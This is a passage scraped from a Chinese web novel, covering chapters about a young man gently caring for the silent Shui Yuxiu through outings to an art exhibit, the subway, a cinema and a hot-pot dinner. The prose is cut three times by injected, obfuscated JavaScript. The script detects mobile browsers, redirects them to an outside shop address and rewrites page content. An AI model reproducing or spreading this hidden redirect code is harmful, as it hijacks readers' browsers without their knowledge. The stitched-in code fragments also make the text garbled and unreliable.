l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640603|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜色渐深,两人安心入睡了,而赵管家这一晚却辗转反侧提心吊胆。 几个小时前,电梯平稳下降,直到坐进车里,赵管家还没消化完刚才自己看见的东西。 不知道还是不是人的大少爷。 穿兔子印花睡衣。 在吃肯德基。 要不是赵管家几个月前刚入职时,亲身体验过老宅祠堂逼人的煞气,否则看现在那两人和谐甜蜜的同居生活,他大概率会觉得水家人有集体臆想症。 虽然现在他就是这么想的。当时的气氛怎么看都是正常小情侣吧。 ……不是,但这要怎么和领导交代啊。 这谁信呀! 他挠挠头,左右为难,坐立难安,感觉自己一说出口马上就要被开除了。 最后把心一横,决定老板不问我不说,老板一问我惊讶。 赵管家若无其事地回到办公室,写完日记写周记,写完周记写反思与优化,工作报告写到一半,被一个电话叫走了。 水忠才这几天一直参加各种会议,早上五点便起床忙活。中午接到国外的电话,那边说老太太有些水土不服,情绪低落,这两天一直在床上休息。 一把年纪远跨重洋,不适应是意料之内,但眼下也没有别的办法。 水家在这个地方扎根数百年之久,古时从北方逃难过来,从此定居,后来开枝散叶,宗族逐渐壮大,如今一朝搬离,好比连根拔起,如何能不受重创。 搬来之初,正直诸王争霸,战火连天,水家人向祂祷告,祈求在乱世之中保全性命。 后来“拜神”的行为代代流传下来,直至今日。他们为“祂”修建祀堂神像,供奉香火祭品,以护佑族人平安兴旺。 水忠才毕竟生在现代社会,虽然遵从这些古老仪式,但祂百年来从未显形,心中难免会对这种子虚乌有的事情不屑一顾。 直到他二十多岁那年,事业受到重大打击,一个人独自回了老宅,跪在软垫上。 那一晚他彻夜未眠,额头抵在地面上,磕出了血印,鼻尖闻着四周浓郁到熏人的香灰味……似乎真的感到了有一双眼睛,在黑暗里默默注视着他。 那夜之后,商业对手暴毙而亡,背刺他的下属意外事故,水忠才重整旗鼓,在商场上几乎无往不胜。 神是真的。 神是真的!! 真的听见了他的祷告。 真的……实现了他的愿望。 这次的家族核心经过几次会议谈话后,终于下定决心彻底搬迁国外,水忠才自告奋勇,负责留下来收尾。 一来,董事会成员七零八落,大有操作的空间,可以乘机捞点油水;二来,他心里始终觉得,神对待他和别人,是不一样的。 不过是要献祭一个人罢了,水忠才想,根本算不上过分,世界上这么多人,单单一个死了便死了。 就算真的死在了祂手里,也是那人的福气。 他揉了揉眼眶,终于放下手上的文件,抬头瞥了一眼面前站立多时的人。 因为肥胖,水忠才笑起来时脸上挤满皱纹,十分和气,像和蔼的邻家大伯。这一副模样在某些时刻很有益处,但对待下属无需惺惺作态,不笑时便显得阴沉。 赵管家大气都不敢出,所有水家人中,他最怕的就是面前这位。 水忠才先喝了口水润润喉,才淡淡开口:“人见着了?” 赵管家拘谨地弯着腰:“是。他让我把东西送上去……” 水忠才若有所思。 半晌才继续道:“什么反应?” 赵管家:“挺平常的,问我怎么还把结婚证送过去。” “你说的是牧晋修?” 水忠才不耐烦地敲了一下桌子:“我关心他干什么?” 赵管家连忙道歉,迟疑了一下:“少爷,呃……他,在吃饭?” 水忠才:“吃饭?” 赵管家:“是的。” 水忠才沉下脸,冷笑一声:“问一句才能答一句的话,今晚就可以收拾东西走人了。” “……” 赵管家一颤,接着语速飞快道:“大少爷在吃肯德基。” 虽然声音小,但吐字足够清晰。 话音落下后,房间里安静了好一会儿。两人面面相觑,水忠才缓缓开口:“你说什么?” 赵管家战战兢兢、咬牙切齿、心如死灰,绝望道:“在吃肯德基葡式蛋挞、黄金鸡块还有薄脆炸全鸡……哦还有一块芒果奶酪千层蛋糕。水总,千真万确,没有开玩笑,我亲眼看见的。” 他甚至不敢抬头确认水忠才的反应,一口气把话全抖出来了,哀莫大于心死。 不,我的工作,我的前途,我的大露台,我的豪华公寓,我的衣锦还乡…… 老板,醒醒吧,世界上其实根本没有什么神神鬼鬼的! 13.礼物 约好了第二天下午出门,接近四点的时候,牧晋修正坐在书房里,田皓忽然发来消息。 [恬不知耻]:我等下和你们一起过去吧? [恬不知耻]:刚好在附近办事。 牧晋修上一秒刚收到信息,还没来得及回复,下一秒外面的门铃就响了。 田皓先斩后奏,难为他还记得牧晋修楼层电梯的通行密码。出了电梯按响门铃,在门口稍等了一会儿,门很快开了。 “还挺快的嘛……” 然而刚说到一半,剩下的话就卡在嘴边。 来给他开门的并不是牧晋修,而是一个没见过的陌生人。 身上穿着兔子印花睡衣,蹬着毛绒绒的拖鞋。皮肤很白,漂亮是漂亮,但看起来有点冷冰冰,表情淡淡的,上下扫视他一眼。 田皓下意识以为这便是水家那个大少爷,然而定睛一看,面前的人留着一头如瀑的长发,款款垂落腰间。 他迟疑道:“……不好意思。” 他退后一步,抬起头查看楼层和门牌号,再次确认后又回来了,还是不太能肯定:“请问牧晋修住这里吗?” 偷瞄一下屋里的装潢,和记忆里的大差不差,应该没记错啊。 不是,哪里来的女孩啊? 田皓和那人对视两秒,脑海中忽然浮现出一个不可思议的想法,然而还没等他反应过来,对方一句话都没说,转身哒哒哒往房间里走去。 正巧,书房门口探出个身影,正是房子的主人。 那人走到牧晋修跟前停下,牧晋修看了一眼田皓,低头和他讲话:“没事,有客人来了。” 前者便继续回毛毯上坐着,拼散落在桌面的乐高。 田皓忍不住多看了两眼,小心翼翼绕过大厅,和牧晋修汇合:“呵呵,什么时候我来你家还是客人了。” 牧晋修:“谁来我家都是客人。” “……”田皓背着身,朝水玉岫的方向努努嘴,压低声音,好像在地下接头:“这就是那谁啊?” 牧晋修点头,似乎笑了一下:“嗯。水玉岫,好听吧。” 虽然田皓尊重并理解各种性取向,但是对仿佛天生性冷淡的兄弟一朝成为男同这件事,还是相当意外的。 不过今天一见,却似乎……有点能够理解了。 田皓啧啧两声:“难怪你当时会把他带回家。” 牧晋修看了他一眼:“乱讲什么。” 田皓才不信:“真没谈?” 牧晋修:“没有。” 他接了杯水,递给田皓,声音同样很轻:“人家都这样了。我难道还要趁虚而入吗?” 吊桥效应——对方在处于紧张和不安的情况下时,若是给予充分的关怀和照顾,对方可能会因此产生极大的依赖和亲近,并且将这种一时的悸动错当做心动。 当然,牧晋修并不觉得水玉岫会就这样爱上他,但若是在这个过程中故意引导,也相当不道德。 田皓呵呵两声:“你是君子。” 虽然嘴上这么说,但这种想法确实很牧晋修,因此没有继续这个话题。 他坐了没一会儿,时间差不多了,几人收拾收拾出门。 田皓开车来的,坐进后座后,牧晋修帮旁边的人系上安全带:“哥,头发有没有压到?” 水玉岫今天穿了一件灰色的薄卫衣,背上绣着一只正在燃烧的蝴蝶,很酷,配上他冷冰冰的表情,像是即将走T台的国际模特。 这件衣服牧晋修有同款,只不过尺码不一样。他伸手给水玉岫整理帽子和头发,一抬头,正巧和田皓在后视镜对视上了。 后者扁嘴拉着脸,忍不住朝他做了个口型:没谈~没谈~ 牧晋修:“……” 牧晋修作势掏手机:“专心开车啊,我现在打个电话,和秀谙说一声我们正在路上了。” “……” 田皓瞬间坐直了,闭上嘴。 一旁的水玉岫正歪头看外面的房子、车子,还有走来走去的人。 在楼上远眺时,总觉得一切都是微小的,只有指尖那样大。但身处人群中时,就会发现路面原来可以容纳得下那么多东西,只觉得很奇妙。 牧晋修顺着他的视线,在一旁小声跟他讲解:“那是超市,里面有许多你喜欢的好吃的,记得给你的那张卡吗?可以把整个超市都买下来,到时候吃东西都不用结账了。 “这是学校,小孩们到年龄了就会被送到里面,早上被吃掉,晚上再吐出来。” “那个是体育馆……” …… 这语气……哄小孩呢。 田皓目不斜视,在前面开车,听着后面叽里咕噜的谈话声,整个人憋得慌,真的很想和谁来分享一下所见所闻。 熬了二十分钟,好歹到目的地了。 下车检票后,排队进入。展馆很大,四通八达,虽然是工作日,但放眼望去,每幅展品前或多或少都有游客,牧晋修很自然地牵着水玉岫的手,防止走丢。 田皓现在已经有点对两人的亲昵举动麻木了:“你知道我想起了什么吗?我想起你高二那年,有人来递情书,你一脸严肃地说不会早恋,这辈子也不会考虑谈恋爱。” 牧晋修想了想,好像确实有这么一回事:“是的。” 牧晋修:“但这不一样啊。” “你不觉得,他很像小猫吗?”牧晋修努力寻找措辞。 照顾小猫不是很正常吗?凶了点就凶了点吧,那些没人照顾、长期处在不安里的猫,不得不时刻保持警惕,亮出爪牙,做出防御姿态。 面对他的冷淡,就会想起他的不安,很难会有人不心软吧。 “……” 田皓觉得牧晋修讲话真是越来越难懂了,形容人还要用上这种粘牙的修辞手法。 他刚要说些什么,余光一瞥,郑秀谙看见他们,挥了挥手,朝这边走来。 田皓立刻闭上嘴,不自然地拨弄了一下头发。 很快,人走到面前,依次和几人打了个招呼,郑秀谙朝水玉岫伸出手:“玉岫,你好呀。” 水玉岫的家庭状态,牧晋修有跟她大致讲过,虽然为了保护隐私,没有说得那样具体,但郑秀谙多少能够猜得出来,因此讲话的语气便格外轻柔:“我叫郑秀谙,谢谢你来参观我的画展。” 她的手悬停在空中,等待着面前的人做出回应。牧晋修没有出声,装作不经意地偏头,观察水玉岫的反应。 在两人期待的目光下,水玉岫动了动,也伸出手,搭在郑秀谙的手心。 “诶。”郑秀谙笑了一下,感叹道:“真好。” 人都到齐了,大家便开始四处浏览展品,郑秀谙偶尔会做些讲解。 一幅幅质感不同的画作,在灯光下安静地呈现。牧晋修见水玉岫看得认真,觉得今天带他出门是正确的。 绘画和文字一样,会传递出创作者的某种情感,是构成非言语交流的重要组成部分。 牧晋修摸了摸他的头发,真的很想知道他在想什么。 场地大,等逛完了,差不多一个小时过去。大家便换了地方,启程去餐厅吃饭。 水玉岫惦记着说好的波士顿龙虾,一路上心不在焉。好不容易等虾终于端上来,水玉岫用叉子敲了敲瓷盘,牧晋修便给他夹了几块在碗里:“壳不能吃,别吞下去了。” 这种事情根本不需要交代。水玉岫开始埋头苦吃。 饭桌上一片和谐,虽然刚碰面时,田皓表现得有些无措,但毕竟大家都认识了好多年,知根知底,氛围很快热闹起来。 田皓聊了些他在国外的趣事,还吐槽了下家里现状:“烦死了,每次回来都要面对一群……” 牧晋修眼疾手快地捂住水玉岫的耳朵:“不要听。” 田皓:“……傻登。” 牧晋修摇摇头,严肃地朝他使眼色,让他注意文明用词。 “……行行行。” 田皓彻底没办法了,举双手做投降状: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646536|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不说了。” 耳朵忽然被人捂上,水玉岫沉浸在美味佳肴中,不明所以地抬起头来。 “没事。”牧晋修松开手,又给他夹了一筷子清蒸鱼:“哥,多吃点肉肉。” 看了一眼对方的手臂,好想叹气,平时想吃这个想吃那个,怎么一点都没有长身上呢。 . 一顿饭接近尾声,水玉岫吃饭很容易进入疲惫期,吃着吃着就累了,懒洋洋地靠在牧晋修身上,玩刚才在画展买的纪念品,摇晃着铃铛。 牧晋修起身去卫生间,他也站起身,要一起跟着去。 两人离开房间后,田皓看着他们形影不离的身影:“我打赌,他们肯定能成。讲真,我认识牧晋修那么多年,就没有见过他对谁这样过。” 郑秀谙摇摇头:“不一定。玉岫现在的情况,确实需要细心照顾。” 田皓挑挑眉,打了个响指:“打个赌?” 郑秀谙有点好笑:“赌什么?” . 牧晋修带人从洗手间回来时,包厢的门刚好打开,田皓眼睛有点红,看了他们一眼:“我有事,先走了。” 接着偏过头,匆匆往另一个方向离开。 牧晋修:“!” 发生了什么事,还能进去吗。 两人在门口徘徊,牧晋修试探地探头往里瞄,水玉岫看了他一眼,有模有样地跟着趴在门边歪头,两个脑袋一上一下整整齐齐。 郑秀谙坐在原位上补妆,看上去似乎没有什么反常,情绪依旧很稳定。瞥见了两人,挑了挑眉:“怎么不进来?” 牧晋修便牵着人进门,没有问刚才发生了什么。两人老是吵架,已经有点习惯了:“我先带他回家了,一块走吗?” 郑秀谙摆手说不用:“有人来接,你们先回去吧。” 她看了一眼水玉岫,一拍脑袋:“玉岫,我有礼物要给你。” 她从包里翻出一个精致的礼品盒,上面打了蝴蝶结,还有一张贺卡,是意大利语,写着“祝你身体健康”。 趁着水玉岫打量礼物的间隙,郑秀谙把牧晋修叫到一旁,压低声音问:“他现在还是不愿意讲话吗?” 牧晋修摇头:“我最近有让他看书,做阅读复建。” 郑秀谙思忖片刻,从包里翻出一个卡片递给他:“我一个朋友在做心理咨询,从业十几年了。这是她的名片,如果玉岫有需要,随时可以联系。” 卡片递到面前,牧晋修犹豫两秒,还是收下来了。 不愿意开口讲话是信任缺失的一种表现,代表着对周遭环境没有安全感、没有归属感。 如果有些事情他做不到的话,交给专业人士也好。 和郑秀谙道别后,牧晋修晃了晃水玉岫的手:“哥,回家咯。” 网上说,对待一些有分离焦虑的小猫,可以每次回家后给它带点好吃的,比如奖励冻干,这样小猫就会知道出门打猎很安全,并且对此产生期待。 牧晋修当时逐字阅读,觉得有些智慧是贯通的,学以致用。 离开前,他让水玉岫挑最喜欢的东西带走,于是又打包了一份波斯顿龙虾。 今天水玉岫的出门奖励是香香的蒜蓉粉丝龙虾。 牧晋修带着水玉岫,水玉岫带着龙虾回家了。 . 到家后,牧晋修把手上的东西放在桌子上,一转头,发现水玉岫不知道什么时候又站在窗户前,专心致志地往外看。 好像很喜欢这个角落,也不知道一天天的在看什么。 牧晋修跟着站在他身边,安静了一会儿,忽然说:“今天星星好亮啊。” 旁边的人脑袋仰得更高了,找得很认真,到处看星星在哪里。 大厅里静悄悄。 过了半晌,牧晋修才转过头,脸上满是笑意,捏了捏他的脸:“骗你的,城市里看不到星星。笨蛋。” “……” 水玉岫微蹙起眉,咬了一口他的手指,转头回了房间。 14.地铁 出了件大事。 水玉岫和牧晋修生气了。 满打满算,水玉岫到家已经一周多了,同在一个屋檐之下,两人相处得很好,甚至不需要过多磨合。 直到今天。 事情的起因是牧晋修午睡起来,看见水玉岫一个人在大厅,懒洋洋地窝在沙发里,电视开着,桌子上摆满了零食袋子。 他总这样,很多东西经常只浅尝一口便不吃了,如果对味道很满意,才会继续食用,搞得牧晋修现在给他拆零食都先拆小包的,否则难收尾。 零食吃了就吃了,倒也没什么,反正本来也是买来给他吃的,牧晋修顾及他的身体,都尽量挑选果干等相对健康的品类买。 但到饭点的时候,水玉岫看了一眼餐桌,没有一点想吃饭的意思。 牧晋修叫了好几遍,甚至以为对方懒得挪窝,无可奈何地把饭端到他面前,还是不想吃。 尝试和人讲道理,一句也不听,自顾自地回了卧室,嫌他吵。 牧晋修:“……” 有脾气是好事情,但总不能不吃饭啊。 他跟了上去,站在房间门口,看着床上那个抱着一本书,靠在床头悠闲翘着腿的人,既要劝他调整坐姿,改正阅读姿势,不要坐在床上看书,以防近视,还要说服他好好吃饭。 水玉岫把书一合,随手扔在床头柜上,接着一把扯过旁边的被子,整个人钻了进去。 不听不听不听。 牧晋修:“。” 根本气不起来,没忍住偏头笑了。 笑够了,他走到床上的鼓包前,一手撑在床垫上,试探地碰碰:“哥?” 被子动了动,往旁边挪动,摆明了不愿意交流。 牧晋修又伸手屈起指节,做出敲门姿态,自己给自己配音:“咚咚咚、咚咚咚。小兔子乖乖,把门开开。” 他觉得自己现在完全可以去考一个幼师资格证了,好无奈:“没有不让你吃零食的意思,但是好好吃饭也很重要。” “你知道吗?食品添加剂会损害我们的身体健康。有健康的身体才能好好生活,品味美食,体会花香。你看人家月季花就不吃薯片。” 被子沉默了半晌,终于掀开了一个角。 这就是要和好的意思。 牧晋修乘胜追击:“你不是喜欢上次的流心蛋糕吗?我们一会儿吃完饭就去买,还可以再奖励一个麦旋风,可以吗?” 水玉岫这回把脑袋露出来了,将信将疑地看着他,牧晋修就伸手给他从床上提拉起来。 等坐在餐桌前时,人还是恹恹的,勺子在碗里扒拉两下,进食意愿依旧不明确。 牧晋修很有耐心,搬了把椅子坐在他身边,反复劝说:“好歹吃一点,不然胃会不舒服的。” 嘴上语气好温柔好体贴,风度翩翩善解人意,其实心里想的是晚上就把你的零食全都藏起来,看以后还吃不吃饭。 “……” 水玉岫倒在他身上,从鼻腔里浅浅地出了一口气。 牧晋修的动作一顿,偏头看了他一眼。 过了一会儿小心翼翼地问:“哥,你刚才在叹气吗?” 人当然会叹气,没有什么好稀奇的。但就是……好可爱啊。 哎! 牧晋修有些体会到了田皓的心情——坐不住了,很想和人分享,但又找不到合适的对象。 ……这么可爱的事情没别人知道也太可惜了。 见牧晋修不催了,水玉岫又闭上眼睛,枕着他肩膀,靠在他胸膛上,似乎要就着这个姿势入睡。 牧晋修沉默了一会儿:“一定要坐我身上吗?” 水玉岫没有搭理他,牧晋修便伸手把他晃醒:“眼睛睁开,你一点都不困,下午午睡了三个小时,起来了就吃零食。” 说到一半紧急刹车了,觉得好不容易和好了,不要再提这个话题。 免得一会儿一赌气又钻被窝里。 计划被识破,水玉岫只好睁开眼睛,坐在他的大腿上,晃荡着双腿,低头玩自己的头发。 牧晋修任劳任怨,举起勺子吹了吹,接着送到他嘴边:“啊——哥,张嘴。” 水玉岫吃掉了。 牧晋修很欣慰:“很好嘛,这不是可以好好吃饭吗?” “……” 水玉岫扁扁嘴。 人为什么要那么频繁地进食,每天要吃好多次,好麻烦。为什么不能想什么时候吃就什么时候吃。 好不容易吃完饭,碗一见底,牧晋修刚放下勺子,水玉岫便从他怀里跳走了。 牧晋修在后面喊:“拖鞋拖鞋拖鞋……地上凉。” 水玉岫又掉头回来,把鞋子穿走。 . 上次接了牧肃威一通电话,虽然很膈应,事后他爹想再联系,也拉黑了置之不理。 但牧晋修想了想,觉得确实很有必要给水玉岫补补身体。 于是前两天带水玉岫出了趟门,专门去一个很有名的老中医那边看诊。然而对方把脉之后却说水玉岫身体情况其实还好,就是湿气有点重,再加上体寒。 牧晋修据理力争:“他胃口不是很好……” 好吧,似乎也不能这么说,虽然不好好吃饭,但小零食小蛋糕却吃得很起劲。 医生说:“可能是天热,厌食。得多注意消暑。” 最后开了几贴补气血的药材。 然而哄水玉岫喝药比登天还难,牧晋修最近几天每天都要炖大骨汤,加当归枸杞等慢熬。 汤味道鲜美,水玉岫才愿意多喝一点。 等食材准备好放入锅中,按下按键后,牧晋修从厨房探出头,叫住水玉岫:“哥,今天要出门,跟你说过了吧?” 郑秀谙给他的名片,牧晋修那天晚上回家,就已经发送了好友申请。 但互相打过招呼后,没有下文了。牧晋修心里很犹豫,一是并不想对其他人揭开水玉岫的伤疤,二来,他也不知道水玉岫愿不愿意和其他人接触,怕人产生逆反心理。 水玉岫记着买蛋糕的事情,今天换衣服的时候态度比较积极,被牧晋修大夸特夸。 虽然脸上依旧没什么表情,但心里总归有点得意。 出门后,没有打车。牧晋修和水玉岫站在小区门口的公交站台等待。十分钟后,173路公交车会在这里停靠,这辆车能够把他们载往最近的地铁站。 . 公交车上没几个人,车门开启,牧晋修提醒人小心台阶,然后刷了两次乘车码。两人坐在后排,他让水玉岫坐在靠窗的位置,接着自己坐到人身边。 窗外的阳光投落在水玉岫脸上,经过道路两侧的榕树时,斑驳的树影像蝴蝶一样翩然振翅。 公交车比轿车颠簸,牧晋修有点担心:“哥,如果有不舒服的话,要告诉我。” 好在水玉岫接受良好,像看电视一样看着窗外,粮油店、汽修店、饭店……很多五颜六色,他看得不大懂的招牌划过;路人像蚂蚁一样到处徘徊。 他们很快到达地铁站。 下车后,牧晋修在入站口解释:“这是地铁。是城市里广泛使用的公共交通工具之一。” 水玉岫觉得眼前的这个小房子看起来很奇怪,别的房子楼梯往上,而它特立独行,直直通向地底。 下面是什么地方,为什么会有这么明亮的光,为什么许多人往里走? 牧晋修牵着水玉岫的手,顺着楼梯一阶阶走下去,接着教他怎么过安检,怎么出示地铁码,怎么换站,怎么判断列车的终点站方向,听广播到站播报,什么时候可以上车下车。 坐在车厢里,充沛的冷气驱散夏季炎热。听到A大站到站时,牧晋修说:“我的学校就在这里,下次带你去逛逛——哎,好像已经说过了,下次一定。” 两人就这样毫无目的地,随意上车下车,随意转站,又或者从首站直接坐到尾站,胡乱地在城市的整个地下脉络中穿行。 从石门安站,经过马鞍站,春霞站,游隆站,西峰站,到玉门山站。 玉门山站出来,有一个很大的公园,里面建立了摩天轮和水族馆,经常有人来这里散步、锻炼;拍照,或者只是看摩天轮。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655648|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里春天时绿草如茵,湖水清澈美丽。 就是下雨时草地泞泥,要小心打滑。 春霞站附近是一片很大的商业区,外地游客最经常去,近年来入驻了许多的精致小店,博主会去打卡拍照,店门口有气球和鲜花墙。 两条街外还有一个教堂,顶上挂着一个彩色LED滚动显示屏,写着“上帝爱你”。 西峰路是牧晋修最熟悉的地方,他大部分的童年和学生时代就是在这里度过的。霞市实验小学就在这里,上放学时小摊贩摆满街道,前段时间去看,校门新换的阑干也生了铁锈。 …… 两人没有规律,时出时进,并不是每一站都要下车。水玉岫觉得很奇妙,每次从地铁站出来,都会看见不同的景色,见到不同的陌生人类。 这一回地铁站门口摆着小摊,牧晋修给水玉岫买了一根糖葫芦,还有一小块酥糖面包,他们站在黄黄蓝蓝的共享单车停放区旁,等他慢慢吃完。 在人群之中放眼望去,迎面而来许多陌生面孔,才会发现原来世界上真的有那样多的人,这个物种在蓝色星球上的数量已经达到惊人的八十多亿,仍然在孜孜不倦地繁衍下去,直到流星到来、使一切重启的那一天。 在这八十多亿人中,每人都有自己复杂而微妙的情感,大到宏伟抱负,小到微不足道的口味偏好。 ——每个人都是特别而珍贵的。 那些人的脸,倒映在水玉岫漆黑的瞳孔中。 牧晋修牵着他的手,轻轻晃了晃,任由水玉岫转动脑袋,四处打量着。 要相信世界上很多事都与自己有关,身上穿的衣服由谁负责制造,由谁负责运输,由谁负责售卖;脚下的地面是如何建造的,石子怎样铺垫,沥青怎样浇灌;还有食物——谁来耕种,谁来收获,才能让水玉岫吃上糖葫芦。 有人在清扫街道,有人在传道授业,有人赤脚踩在月光上,低头数盐粒。 伟人曾说:“世界上本没有路,走的人多了,也便成了路。” 水玉岫并不知道这句话,但他似乎感受到了一些这个族群的生存智慧。 有一群中学生放学,踩着单车经过,呼朋引伴,嬉笑打闹。 水玉岫偏头多看了两眼,牧晋修把他的手握得紧了一些,轻声说:“不要害怕。我一直在你身边。” 与人建立起联系其实是一件很简单的事情,因为人与人之间本身就有千丝万缕的关联。 路上碰见的每一个人,或许都参与构建了彼此日常生活中的一环。要意识到这一点,这样才不会觉得自己是一座无法联系、毫无回音的孤岛。 牧晋修不希望水玉岫感到孤独。 等水玉岫把东西吃完,两人又一次回到地铁里。 现在去干什么? 他们站在墙上贴的地铁示意图前,牧晋修说:“现在转站,可以从二号线回家,我们今天就逛到这里。或者——” 他伸出手,在路线上指了指:“到青水站,去看电影,然后吃饭。想吃什么都可以。” 说完他低下头,要水玉岫自己选。 水玉岫抬头看着错综复杂的路线图。旁边不停有人经过,穿着运动鞋的人,踩着高跟鞋的人,踏在地面上发出不同的声音,都有各自要去的地方。 真的是好忙碌啊。 五分钟后,他们登上了通往青水站的地铁。两人坐在座椅末端,凑在一块看屏幕,挑选着一会儿要看的影片。 水玉岫第一次坐公交车,第一次坐地铁,第一次看电影。他靠在牧晋修肩头,看着对面窗户倒映出的人影,感受列车行驶时产生的些许颠簸,仿佛身处钢铁长蛇的腹部,随它来去穿梭。 ——原来地底下,也可以如此明亮,恍若白昼。 牧晋修摸了摸他的头发,目光很柔软。 列车又一次到站,广播传出提示音,连续放了两遍。门开启又合上,人们来了又去,仿佛千百年来的潮汐。 水玉岫好像有点懂了,为什么人类一生所拥有的时间如此短暂,还能依旧一代接一代,如此热闹、痛快地活下去。 15.快乐 他们溜达大半天,从青水站出来,夜幕已经垂落,天空呈现出一种优雅深邃的深蓝色。 牧晋修说:“看。” 即使天暗下来,地球自转使一半星体背对着太阳,但外面的世界依旧到处亮堂堂。 路灯准时亮起,恒星未曾光顾的时刻,它们充当了新的日光,轻盈地洒下一地金黄。 牧晋修语气轻快:“哥,恭喜你,学会了坐地铁。记得路线图怎么看吗?还有手机导航,以后有想去的地方,就可以轻轻松松到达。” “下次家里再停电,就算不和我说,也可以自己出门。如果天黑了就从家里走出来,去明亮的地方,比如楼下的便利店或者社区志愿中心,不要一个人待在小黑屋里。” 他想了想还是补充:“不过最好还是和我说一下吧,别走丢了,到时候我找不到。好吗?” 水玉岫心说,其实家里以后都不会停电的。 但牧晋修并不知道停电事件的真实缘由,他牵着人过马路,进了商场,坐电梯到影院,买了两张票,两桶爆米花,还给水玉岫买了一瓶冰可乐。 他们在三号影厅,通道周围的灯光也是深蓝色,比天空要亮一点。影厅很大,摆满了座椅,还有一块顶天立地的大屏幕,足够把所有人装进去。 水玉岫抬头看,牧晋修示意他登上阶梯:“我们的位置在那边。” 很快,观众陆续入座。他们在黑暗中看哈利波特。电影两个小时,播完以后顶灯亮起,音乐在身边回荡,人群陆续离开,有人在微笑,有人在闲谈,也有人半途离去。 不知道水玉岫对电影的评价如何,对爆米花应该很满意,一桶已经快要见底,还在舔舔嘴唇回味。 牧晋修笑了,把他的那一桶递过去,顺便擦了擦对方嘴角的爆米花碎屑。 晚餐就近去楼上吃火锅,这是水玉岫敲定的选项。牧晋修提前预定好了位置,不知道对方能不能吃辣,所以点了辣锅和菌汤锅底。 从影厅出来,他拿湿巾给水玉岫的手指擦爆米花的糖浆,余光中忽然看到一个熟悉的人影。 定睛一瞧,居然是张立业。那人正搂着一个女生,很亲昵地靠在一台娃娃机面前讲话。 “……” 张立业这人,心思百转千回,嘴里藏不住一点事。牧晋修并不想让他看到水玉岫,这个人必定会来瞎打听。 今天出门,是为了让水玉岫开心,没必要因此浪费心情。 于是牧晋修背对着他们,很快牵着水玉岫上了另一个电梯。 在火锅店落座后,服务员瞧见水玉岫的长发,很快递了个橡皮筋过来,被牧晋修拒绝了:“没事没事,带了。” 他熟练地把手腕上的橡皮筋取下,水玉岫也已经习惯,吃饭的时候披着头发容易吃到嘴巴里,于是很乖地转过头让他扎头发,然后又穿上围裙。 蝴蝶系上后,牧晋修说:“来,蘸料台在那边。” 他一个步骤接一个步骤示意给水玉岫看:“把喜欢的东西往里面加,这里是香菜和葱花,这是麻酱,这是小米椒,有点辣,你还是别加了……” “哦,那里还有自助冰淇淋。” 水玉岫看到冰淇淋是一定要尝尝味道的,于是牧晋修先把蘸料碟放回位置上,再过来给他打冰淇淋。 转过身时,刚好看见一个男生,应该是吃完了准备走,背着包拿着手机,看着水玉岫的方向,神情似乎有点犹豫。 牧晋修看了一眼,快一步走到水玉岫身边,轻轻揽住他的肩,低头在人耳边问:“等下吃火锅热,要不要喝奶茶。” 水玉岫把调制好的蘸料碟递给他,他也没有松手,就这样一边揽着人,一边端着碟子回了座位。 坐下后不经意地回头一看,那个男生已经走了。 水玉岫毫无察觉,第一回吃火锅,看什么都很新奇,盯着锅里沸腾的泡泡出神。 辛辣的香气飘了过来,他吸了吸鼻子,忽然偏头打了个喷嚏。 “啊。”牧晋修笑了,给他抽了张纸:“没事,不喜欢的话,一会儿吃这一边的。” 水玉岫的学习能力很强,经过牧晋修几天的指导,筷子已经学会使用了,可以熟练地给自己夹菜。 他对辣度接受程度竟然还可以,虽然刚开始吃的时候一直在皱眉,仿佛谁惹他生气了,但是后面便开始自己伸筷子了。 看来家里的食谱可以更新了。 牧晋修觉得吊龙口感不错,食材很新鲜,而水玉岫似乎最喜欢毛肚,偏爱其脆脆的口感——他好像很喜欢吃起来好玩的食物。 菌菇汤鲜美,牧晋修给他舀了一小碗蘑菇,说膳食纤维对身体有益,可以多吃。 水玉岫咬着吸管,喝了一口抹茶米麻薯,很听话地夹起一朵冒着烟的蘑菇,对它吹气。 一顿饭吃了很久,饭后两人从店里出来,感觉身上都是火锅味。 牧晋修没忘记给他买小蛋糕和麦旋风,但是晚上水玉岫应该已经没有额外的肚子装了,怕他吃多了积食,于是和人商量,晚上已经吃了奶茶和甜品冰淇淋,小蛋糕下次再买。 水玉岫吃完饭很好说话,同意了。 两人牵着手,慢悠悠地走,权当消食。这回没有再坐地铁了,一直走到路边等车。 晚风拂面,行人的谈笑声时远时近。城市的景观植物郁郁葱葱,这个季节,到处都是旺盛的生命。 水玉岫靠在牧晋修身上,看着车来车往。 后者摸了摸他的头发,忽然说:“人活着呢,最重要的就是好好吃饭好好睡觉,但除了这两件以外,其他的事情也必不可少。” “比如什么呢?”牧晋修停顿了一下,随即打了个响指:“快乐。” 所以要吃好吃的,玩好玩的,让身体分泌多巴胺,在圆满度过今天的同时期待明天,日复一日地活下去。 人最会给自己找快乐,发明游戏,开发景观,把用以遮蔽身体的织物做成多种多样,装点美丽。 水玉岫抬头看他。 